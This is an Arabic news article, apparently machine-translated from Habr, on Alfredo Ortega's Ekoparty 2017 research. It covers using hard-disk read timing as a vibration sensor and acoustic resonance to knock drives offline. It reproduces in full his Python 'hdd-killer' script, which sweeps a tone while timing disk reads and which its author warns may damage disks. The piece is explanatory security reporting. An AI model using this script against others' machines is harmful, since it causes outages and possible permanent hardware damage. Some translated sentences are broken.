
في مؤتمر أمن الكمبيوتر Ekoparty 2017 في بوينس آيرس، أظهر المتسلل الأرجنتيني ألفريدو أورتيجا تطورًا مثيرًا للاهتمام للغاية - نظام للتنصت السري على المباني دون استخدام الميكروفون. صوت !
يلتقط محرك الأقراص الثابتة بشكل أساسي الأصوات ذات التردد المنخفض عالية الكثافة وخطوات الأقدام والاهتزازات الأخرى. لا يمكن حتى الآن التعرف على الكلام البشري، على الرغم من العلماء (التعرف على الكلام عن طريق الاهتزازات منخفضة التردد، والتي يتم تسجيلها، على سبيل المثال، من الجيروسكوب أو الأقراص الصلبة).
الصوت هو اهتزاز الهواء أو وسط آخر. ويدركها الإنسان من خلال طبلة الأذن التي تنقل الاهتزازات إلى الأذن الداخلية. تم تصميم الميكروفون تقريبًا مثل الأذن - وهنا أيضًا يتم تسجيل الاهتزازات بواسطة غشاء رقيق يثير نبضًا كهربائيًا. وبطبيعة الحال، يتعرض القرص الصلب أيضًا للاهتزازات المجهرية بسبب تقلبات الهواء المحيط به. وهذا معروف حتى من خلال الخصائص التقنية لمحركات الأقراص الصلبة: تشير الشركات المصنعة عادةً إلى الحد الأقصى لمستوى الاهتزاز المسموح به، وغالبًا ما يحاول القرص الصلب نفسه وضعه في حاوية مقاومة للاهتزاز مصنوعة من المطاط أو أي مادة عازلة أخرى. من هذا فمن السهل أن نستنتج أنه يمكن تسجيل الأصوات باستخدام الأقراص الصلبة. كل ما تبقى هو معرفة كيف.
اقترح ألفريدو أورتيجا نسخة فريدة من هجوم القناة الجانبية، أي الهجوم الزمني. يعتمد هذا الهجوم على افتراض أنه يتم تنفيذ عمليات مختلفة على الجهاز في أوقات مختلفة، اعتمادًا على البيانات المدخلة المقدمة. في هذه الحالة، "بيانات الإدخال" هي اهتزازات رأس القراءة وطبق القرص الصلب، والتي ترتبط باهتزازات البيئة، أي مع الصوت. وبالتالي، من خلال قياس وقت الحساب وإجراء تحليل إحصائي للبيانات، يمكن قياس اهتزازات الرأس/الطبق وبالتالي اهتزازات الوسط. كلما زاد التأخير في قراءة البيانات، زادت قوة اهتزازات محرك الأقراص الثابتة، وبالتالي ارتفع الصوت.
كيفية قياس اهتزاز القرص الصلب؟ بسيط جدًا: فقط قم بإجراء مكالمة النظام read () - وتسجيل الوقت المستغرق لإكماله. تسمح لك أنظمة التشغيل الحديثة بقراءة توقيت مكالمات النظام بدقة نانو ثانية.
تعتمد سرعة قراءة المعلومات من القطاع على موضع الرأس والطبق، والذي يرتبط باهتزازات علبة محرك الأقراص الثابتة. هذا كل شئ.
يتم إجراء التحليل الإحصائي باستخدام أداة Kscope البسيطة. كما يقولون، كل شيء عبقري بسيط.

الأداة المساعدة Kscope (stat() syscall)
Kscope عبارة عن أداة مساعدة صغيرة لتصور الاختلافات الصغيرة في أوقات تنفيذ استدعاءات النظام. مصدر.
في مستودع منفصل يوجد إصدار من الأداة المساعدة تم تكوينه للهجوم الزمني على القرص الصلب، أي أنه تم تكوينه لتحليل استدعاء النظام read ().
عرض تسجيل الصوت باستخدام HDD، تشغيل الأداة المساعدة Kscope

بالطبع، لا يمكن فهم الكلام بهذه الطريقة، لكن محرك الأقراص الصلبة مناسب تمامًا كمستشعر للاهتزاز. على سبيل المثال، يمكنك التسجيل إذا دخل شخص يرتدي أحذية صلبة أو حافي القدمين إلى غرفة بها جهاز كمبيوتر (ربما، إذا كان المهاجم يرتدي أحذية رياضية ناعمة أو كانت هناك سجادة سميكة على الأرض، فلن يتمكن محرك الأقراص الصلبة من تسجيل الاهتزازات - وهذا يستحق التدقيق). يستطيع الكمبيوتر تسجيل الزجاج المكسور أو الحوادث الأخرى بكثافة صوت قوية. وهذا يعني أن القرص الصلب يمكن أن يكون بمثابة نوع من نظام كشف التسلل غير المصرح به.
قاتل الأقراص الصلبة
بالمناسبة، يمكن استخدام تقنية مشابهة لتعطيل محركات الأقراص الصلبة. ولكن هنا، لا نلتقط الاهتزازات الصادرة من القرص الصلب، بل نولد اهتزازات تُرسل إليه. إذا شغّلتَ صوتًا من مكبر صوت بتردد يتردد مع تردد القرص الصلب، فسيقوم النظام بإيقاف تشغيل الجهاز فورًا بسبب خطأ في الإدخال/الإخراج (في نواة النظام). Linux (هذا يؤدي إلى إيقاف تشغيل القرص الصلب تمامًا بعد 120 ثانية.) قد يتعرض القرص الصلب نفسه لتلف لا يمكن إصلاحه.

جوهر Linux أُغلق القرص الصلب بعد 120 ثانية من تشغيل الصوت بتردد رنيني عبر مكبر الصوت Edifier r19u USB. كان مكبر الصوت يعمل بربع طاقته تقريبًا (أقل من 100 ميلي واط) وموضوعًا على بُعد 20 سم من القرص الصلب، وموجهًا نحو الطاولة لتضخيم الاهتزازات. مع مظاهرة للقاتل HDD
من الغريب أن مثل هذه "الهجمات" على محركات الأقراص الثابتة تحدث أحيانًا عن طريق الصدفة في الحياة اليومية. على سبيل المثال، في سبتمبر 2016، اضطر مركز بيانات بنك ING إلى تعليق العمليات لمدة 10 ساعات بعد تدريب على الحريق. بسبب الصوت العالي للغاز الخامل المنبعث من الأسطوانات تحت ضغط مرتفع. كان الصوت مرتفعًا جدًا (أكثر من 130 ديسيبل)، لكن لا يمكنك حتى الصراخ على محركات الأقراص الثابتة - فهذا يزيد من التأخير في الوصول إلى محرك الأقراص الثابتة.
مظاهرة لصراخ الإنسان على محركات الأقراص الثابتة في مركز البيانات. قياس الكمون

لتوليد الصوت الرنان، كتب ألفريدو أورتيجا نصًا بلغة بايثون يسمى ().
إنه صغير جدًا، لذا يمكنك نشره بالكامل هنا.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()المصدر: www.habr.com
